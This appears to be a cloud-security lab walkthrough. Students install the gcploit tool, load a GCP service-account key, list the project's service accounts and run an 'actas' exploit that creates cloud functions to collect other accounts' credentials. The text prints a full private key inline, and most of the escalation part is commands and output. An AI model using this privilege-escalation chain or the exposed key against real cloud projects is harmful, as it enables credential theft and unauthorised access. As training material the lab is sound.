
Note:	Before	starting	this	lab,	clear	out	any	existing	gcloud	credentials	via	the	following	command	on	your	AWS	EC2	Student	public	instance:

sudo su -
cd /shared
mv /root/.config /root/.config-$(date +%Y%m%d%H%M%S)
ls -alF /root/

	

Install	the	gcploit	app:

cd /shared

git clone https://github.com/dxa4481/gcploit.git

cd /shared/gcploit

alias gcploit="docker run -v $(pwd)/db:/db -v $HOME/.config:/root/.config -it --rm dxa4481/gcploit python main.py"

	

Populate	a	file	with	our	service	account	starting	credentials:

vi /shared/gcploit/key.json

File	contents	should	contain	the	following

{
  "type": "service_account",
  "project_id": "gcptraininggce001",
  "private_key_id": "e4da980fa161830f84a62fd907eb9cd036a20bbc",
  "private_key": "-----BEGIN PRIVATE KEY-----\nMIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDGznVwT/teukd1\nrfNBNKRt+LErUvQHfMqy5I1otnS3ULvn65iTZISBN5MgxXSUar24jKMmP0/gL7mE\nSFwT3/gN6ZMEO+zTGKTNVGzcK3GkFXCvQwRfyqMmSOi/SRG53d8Wdhyz4Uzu1Blw\nozz0/jBdTomJKk+HiVDpQ7MFf08HtlHzPl9NcVOfIDNXc0trF7Xt3waTbC0ddeiP\nTACqFOPvgvADv4xmw4lvYs/IFM95D0GyOyUKwxRGbT60jM0PiWenX6aZEJJXuJJh\nTJK7A9XmLAbGyLAw5sEgdjNGgwY4CnUJ/jYmcljIqGDvGFUZ0GMwH/iYEvlznGYa\nrwszsp3jAgMBAAECggEAEYGKzm3nxOxWFr/Pb+DEHYAf9bn5wN9u9LhZPWAnprnz\nIFWntOVNuuUoAJalw9xV9XZcEKYHKuB49dpU67xPZvlrStAODa6ZwHaCzKzLEBEb\npmTNcbPxw6rGF/LF67exiWEZxbswOS2WSeVatkYPZmZgIdYG2vjIyUMyJ4J4DpK9\niyVZIm8oDR2THpUAPXRyxT/3Tp4ZVxl/9vaL/C1b6P/7BUQu38sU1eg6Z9MV8eIV\nvnJskRkZK/n8hY4ocaDuCYHQ3Mc4Oac+cAhcTsjCZD1wlW4NyKZmp6Oir49ILeME\nDvihnQb9bxAMQoiIfFcjsT3FQ4NIBpN4xeyl+ZCgIQKBgQDodKtSrj7Vwbgpk7B5\nRtRjYnDlCKSZZHHOE6IQv2R3gdkxt6g9BQVNmd73XktLZe4fV6KUzzBb9OaXtmTa\nsnr0Aw2w4HlgBj8XbKFL1371mYPIrqjuOBkxbeoikrvxPa5RcTY9n6KYYpw7liS5\nLPfVtNauct2OXKdlSPpibLRIgwKBgQDa8UzGNrKWcj5cIpt3umEhrn//NTL1O0mo\naWQmy0er1avM/whC3mcKuRlrZj9iFAYxX3j7iQu8nRmy1c+iRpEc1w2LQ9bJhI11\n7kSVwn1brwr/MUCrC9RyI2VvXQOvfu+YhLH1tihHcogDQLjiQWefaJTDrRU3H4y+\ntpv+sJCXIQKBgAMwToVU1JHUFXWkjAAt4431dLz/kFp2UUVVaZy3M2acRmFzNoCX\nyAnXeYKFLZ08KbcOWbGW4f/w7RTZsKp7VkpwnEh329JgY48rs066BwjRcUhYdQLH\njDjsXBDbWG6nvPNrDSZtQSq7946tsZVEs6Wf1G4SL03boYQ3KxAck6CHAoGAF4dl\nC8wnBxoB757cfFJwS9FX+hI6hrY3ZTzmQXEJI8NTsjUaKy2Bf1qDC9KyLxUd0UKE\nWuvQchWkBF8L8FGLGMFXuEazF3cCSNExV7LODANUuDYP0BH2Y8nABebGFZ8bmpVw\nForb60m4qjjTZaVHwI7Zpem85O6kDn7LZuSMtWECgYAjQKDSPc8Sjr415tBIX+3C\nWKnazb7QPMDo9p3mu+Q4ot/KWpUEb2cyh7AewKsY107ZDdF6bQPiYAAUIT+Y/eBa\n9RKzgPJXMdsV1cXtD3mC7h4B4apV64UH/HjpnZcJ2767e3U3IxpblszBIMcOxF35\nx9nLfrKkRSb74KD50JYRnA==\n-----END PRIVATE KEY-----\n",
  "client_email": "test002@gcptraininggce001.iam.gserviceaccount.com",
  "client_id": "100189216083782094280",
  "auth_uri": "https://accounts.google.com/o/oauth2/auth",
  "token_uri": "https://oauth2.googleapis.com/token",
  "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
  "client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/test002%40gcptraininggce001.iam.gserviceaccount.com"
}

Alternatively,	download	a	copy	of	the	file	and	SCP	to	your	Linux	system:	https://www.dropbox.com/s/4eq5y79v0sbvvsm/gcptraininggce001-e4da980fa161.json?dl=0

	

Configure	these	service	credentials:

gcloud auth activate-service-account test002@gcptraininggce001.iam.gserviceaccount.com --key-file=/shared/gcploit/key.json --project=gcptraininggce001

	

View	Auth:

gcloud auth list

	

Use	Creds:

gcloud config set account 'test002@gcptraininggce001.iam.gserviceaccount.com'

	

Check	that	credentials	works:

gcloud info
gcloud compute instances list

	

Leverage	gcploit	to	see	what	other	alternate	service	accounts	are	available	via	these	credentials:

gcploit --list

gcloud projects list
y

gcploit --gcloud "projects list"

gcloud iam service-accounts list --format json --project gcptraininggce001
y

We	should	see	out	similar	to	the	following	from	the	last	command:

root@ip-10-0-1-68:/shared/gcploit# gcloud iam service-accounts list --format json --project gcptraininggce001
API [iam.googleapis.com] not enabled on project [12478690078]. Would 
you like to enable and retry (this will take a few minutes)? (y/N)?  y

Enabling service [iam.googleapis.com] on project [12478690078]...
Operation "operations/acf.59950a92-9302-4430-b9e0-4a928dbfd1a9" finished successfully.
[
  {
    "disabled": false,
    "displayName": "test002",
    "email": "test002@gcptraininggce001.iam.gserviceaccount.com",
    "etag": "MDEwMjE5MjA=",
    "name": "projects/gcptraininggce001/serviceAccounts/test002@gcptraininggce001.iam.gserviceaccount.com",
    "oauth2ClientId": "100189216083782094280",
    "projectId": "gcptraininggce001",
    "uniqueId": "100189216083782094280"
  },
  {
    "disabled": false,
    "displayName": "test001",
    "email": "test001@gcptraininggce001.iam.gserviceaccount.com",
    "etag": "MDEwMjE5MjA=",
    "name": "projects/gcptraininggce001/serviceAccounts/test001@gcptraininggce001.iam.gserviceaccount.com",
    "oauth2ClientId": "105536137378790720769",
    "projectId": "gcptraininggce001",
    "uniqueId": "105536137378790720769"
  },
  {
    "disabled": false,
    "displayName": "Compute Engine default service account",
    "email": "12478690078-compute@developer.gserviceaccount.com",
    "etag": "MDEwMjE5MjA=",
    "name": "projects/gcptraininggce001/serviceAccounts/12478690078-compute@developer.gserviceaccount.com",
    "oauth2ClientId": "105781732179097421395",
    "projectId": "gcptraininggce001",
    "uniqueId": "105781732179097421395"
  }
]
...

	

Use	Gcploit	to	expand	access	via	creating	new	cloud	functions	with	an	alternate	service	accounts	assigned	and	then	collecting	the	credentials	to	those	alternate	accounts:

gcploit --exploit actas --project gcptraininggce001 --target_sa all

gcploit --list

If	all	worked	as	expected,	we	should	see	output	similar	to	the	following	now:

root@ip-10-0-1-68:/shared/gcploit# gcploit --list
name='vktindzk', role='unknown', serviceAccount='test002@gcptraininggce001.iam.gserviceaccount.com', project='gcptraininggce001', password='vrgaznwv'
name='ccwnglqu', role='unknown', serviceAccount='test001@gcptraininggce001.iam.gserviceaccount.com', project='gcptraininggce001', password='yyukhykn'
name='sghizevg', role='unknown', serviceAccount='12478690078-compute@developer.gserviceaccount.com', project='gcptraininggce001', password='hvodiejz'

	

Explore	additional	features:	https://github.com/dxa4481/gcploit
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